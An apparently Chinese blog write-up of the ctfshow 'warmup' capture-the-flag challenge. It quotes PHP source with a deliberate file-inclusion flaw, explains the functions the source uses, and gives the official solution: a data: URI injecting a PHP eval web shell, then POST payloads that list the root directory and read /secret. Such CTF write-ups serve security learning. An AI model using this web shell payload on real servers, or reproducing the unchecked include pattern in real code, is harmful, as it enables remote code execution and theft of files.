ctfshow-warmup

发布时间 2023-08-30 10:49:58作者: KAKSKY
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-06-29 03:16:43
# @Last Modified by:   h1xa
# @Last Modified time: 2021-06-30 04:43:37
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

if(isset($_GET['file'])){
    $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
    if($ext==='php'){
        include $_GET['file'];
    }
}
highlight_file() 函数对文件进行语法高亮显示。
语法:highlight_file(filename,return)
参数 描述
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
isset() 函数用于检测变量是否已设置并且非 NULL。
pathinfo() 函数以数组的形式返回文件路径的信息。
语法:pathinfo(path,options)
参数 描述
path 必需。规定要检查的路径。
process_sections 可选。规定要返回的数组元素。默认是 all。

可能的值:

PATHINFO_DIRNAME - 只返回 dirname

PATHINFO_BASENAME - 只返回 basename

PATHINFO_EXTENSION - 只返回 extension

官方wp:
GET提交:

http://0fdf6601-a970-4a27-b5c3-a0146398c985.challenge.ctf.show:8080/
?file=data:text/plain,<?php eval($_POST[1]);?>.php

同时POST提交:

1=print_r(scandir("/"));

最终POST提交时应该是:

1=echo file_get_contents("/secret");